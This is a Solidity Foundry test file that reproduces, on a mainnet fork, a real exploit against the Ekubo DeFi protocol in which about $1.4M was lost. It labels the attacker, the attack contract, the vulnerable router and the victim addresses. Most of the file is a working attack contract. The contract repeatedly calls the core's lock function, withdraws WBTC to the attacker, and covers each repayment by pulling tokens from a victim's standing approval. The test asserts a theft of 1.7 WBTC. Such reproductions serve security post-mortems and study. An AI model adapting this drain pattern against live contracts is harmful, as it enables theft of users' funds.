src/test/2026-05/Ekubo_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7 
8// @KeyInfo - Total Lost : ~$1.4M
9// Attacker : https://etherscan.io/address/0xA911Ff351B143634Dbc5aF3E204EA074583A83e3
10// Attack Contract : https://etherscan.io/address/0x61b0dAD9628D3e644eB560a5c9B0F960430E3A75
11// Vulnerable Contract : https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd
12// Attack Tx : https://etherscan.io/tx/0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0
13//
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd#code
16//
17// @Analysis
18// Post-mortem : https://x.com/EkuboProtocol/status/2051754481465856038
19// Twitter Guy : https://x.com/blockaid_/status/2051757787714118125
20 
21 
22contract EkuboTest is Test {
23    bytes32 internal constant TX_HASH = 0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0;
24    address internal constant EXPLOITER = 0xA911Ff351B143634Dbc5aF3E204EA074583A83e3;
25    address internal constant ORIGINAL_EXECUTOR = 0x61b0dAD9628D3e644eB560a5c9B0F960430E3A75;
26    address internal constant EKUBO_ROUTER = 0x8CCB1ffD5C2aa6Bd926473425Dea4c8c15DE60fd;
27    address internal constant EKUBO_CORE = 0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444;
28    address internal constant VICTIM = 0x765DECF4Fa157756e850C1079F60801b9219Edd1;
29    IERC20 internal constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
30 
31    function setUp() public {
32        vm.createSelectFork("mainnet", TX_HASH);
33        vm.label(EXPLOITER, "Exploiter");
34        vm.label(ORIGINAL_EXECUTOR, "Original Ekubo Exploit Executor");
35        vm.label(EKUBO_ROUTER, "Ekubo Router");
36        vm.label(EKUBO_CORE, "Ekubo Core");
37        vm.label(VICTIM, "Ekubo WBTC Victim");
38        vm.label(address(WBTC), "WBTC");
39    }
40 
41    function testExploit() public {
42        uint256 beforeWbtc = WBTC.balanceOf(EXPLOITER);
43 
44        EkuboTraceExploitRouter readableRouter = new EkuboTraceExploitRouter(EXPLOITER);
45        vm.etch(EKUBO_ROUTER, address(readableRouter).code);
46 
47        vm.prank(EXPLOITER, EXPLOITER);
48        IEkuboExploitRouter(EKUBO_ROUTER).drain();
49 
50        uint256 stolenWbtc = WBTC.balanceOf(EXPLOITER) - beforeWbtc;
51        assertEq(stolenWbtc, 1_700_000_000);
52 
53        console.log("Stolen WBTC", stolenWbtc);
54    }
55}
56 
57 
58interface IEkuboCore {
59    function lock() external;
60    function forward(address to) external;
61    function withdraw(address token, address recipient, uint128 amount) external;
62    function pay(address token) external;
63}
64 
65interface IEkuboExploitRouter {
66    function drain() external;
67}
68 
69contract EkuboTraceExploitRouter {
70    uint256 internal constant REPEAT_COUNT = 85;
71    uint128 internal constant WBTC_PER_LOCK = 20_000_000;
72 
73    IEkuboCore internal constant CORE = IEkuboCore(0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444);
74    IERC20 internal constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
75    address internal constant VICTIM = 0x765DECF4Fa157756e850C1079F60801b9219Edd1;
76 
77    address internal immutable PROFIT_RECEIVER;
78 
79    constructor(address profitReceiver) {
80        PROFIT_RECEIVER = profitReceiver;
81    }
82 
83    function drain() external {
84        for (uint256 i; i < REPEAT_COUNT; ++i) {
85            CORE.lock();
86        }
87 
88        require(WBTC.balanceOf(PROFIT_RECEIVER) > 0, "no profit");
89    }
90 
91    function locked(uint256) external returns (uint128 amount, uint128 end) {
92        require(msg.sender == address(CORE), "not core");
93 
94        try CORE.forward(address(WBTC)) {} catch {}
95 
96        CORE.withdraw(address(WBTC), PROFIT_RECEIVER, WBTC_PER_LOCK);
97        CORE.pay(address(WBTC));
98 
99        return (WBTC_PER_LOCK, 0);
100    }
101 
102    function payCallback(uint256, address token) external {
103        require(msg.sender == address(CORE), "not core");
104        require(token == address(WBTC), "not WBTC");
105        require(WBTC.transferFrom(VICTIM, address(CORE), WBTC_PER_LOCK), "pay failed");
106    }
107}